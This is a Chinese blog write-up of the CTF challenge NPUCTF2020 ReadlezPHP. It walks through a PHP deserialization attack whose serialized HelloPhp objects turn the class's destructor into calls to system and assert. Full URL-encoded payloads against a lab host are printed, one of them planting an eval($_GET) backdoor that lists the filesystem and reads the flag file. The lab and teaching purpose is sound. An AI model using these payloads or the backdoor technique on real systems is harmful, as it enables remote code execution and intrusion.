• [NPUCTF2020]ReadlezPHP 此题有两个flag哦


    此题有两个flag,网上大部分都只找到了一个flag,其实那是错的!

    • 题目

    正常的一个报时网页
    请添加图片描述

    • 解题思路
    1. 打开网站尝试路径扫描无果。尝试查看网页源码,发现可疑链接。
      在这里插入图片描述

    2. 点击后,URL中去掉view-source: 页面展示源码如下。
      在这里插入图片描述

    3. 分析源代码可知

    (1)存在魔法函数__destruct()
    (2)调用危险代码动态执行$b($a)
    (3)$a $b参数可控
    综上选定PHP反序列化攻击

    1. 构造序列化脚本
    
      class HelloPhp
    {
      public $a="ls /";
      public $b="system"; 
    }
    
    $t = new HelloPhp();
    $s = serialize($t);
    echo $s."
    "
    ; echo urlencode($s); ?> // 输出结果 // O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";} // O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    攻击payload为

    http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
    
    • 1
    1. 但是没有响应,怀疑是过滤了部分函数。尝试使用别的函数,如assert
    
    class HelloPhp
    {
        public $a="phpinfo()";
        public $b="assert"; 
    }
    
    $t = new HelloPhp();
    $s = serialize($t);
    echo $s."
    "
    ; echo urlencode($s); ?> // 输出结果 // O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";} // O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    攻击payload

    http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
    
    • 1

    成功,查看被禁用函数disable_functions PHP中的system函数被禁用
    在这里插入图片描述

    搜索flag找到第一个flag
    在这里插入图片描述

    1. 构造后门文件查看是否还有其他flag assert(eval($_GET[1234]))
    
      class HelloPhp
    {
      public $a="eval(\$_GET[1234])";
      public $b="assert"; 
    }
    
    $t = new HelloPhp();
    $s = serialize($t);
    echo $s."
    "
    ; echo urlencode($s); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    攻击payload

    http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=phpinfo();
    
    • 1
    1. 后门1234的命令被限制使用var_dump(scandir("/"))代替 system("ls /") 找到第二个flag
    http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));
    
    • 1

    在这里插入图片描述

    1. 使用echo file_get_contents("/FIag_!S_it")代替system(cat /FIag_!S_it)
    http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");
    
    • 1

    找到第二个flag
    NPUCTF{this_is_not_a_fake_flag_but_true_flag}

    整个题目坐下来,感觉还是比较经典的php反序列化题目,整体思路如下:
    1、寻找出题点,涉及前期的各种常规扫描、分析寻找、信息收集等
    2、分析源代码,寻找危险的魔法函数
    3、构造攻击链
    4、tip:此题增加了对各种函数的过滤,因为是赛题,增加了这个点,用来提高难度。
    5、同时设计了两个flag,导致大家仅仅会遇到一个非常尴尬的情况,一面是看到了phpinfo页面,并找到flag。另一面是大量命令无效。素质不好的玩家在这一步就没有做下去的动力了。其实提示很明显,就是最后一步让你命令绕过,找到真正的flag。

  • 相关阅读:
    vue 鼠标移入移出事件执行多次(尤其ie)
    数字滚动组件(react)
    如何一次性调整所有符号的轮廓线颜色?
    Dubbo源码理解
    NXP iMX6ULL核心板框架图|软硬件|功能功耗|原理图的规格书资料
    基于C++11的数据库连接池实现
    OpenCV 图像像素运算操作
    C++程序dll崩溃如何定位分析?
    scanf和scanf_s函数详解
    C语言指针操作(七)*指针数组和多重指针
  • 原文地址:https://blog.csdn.net/eason612/article/details/126154766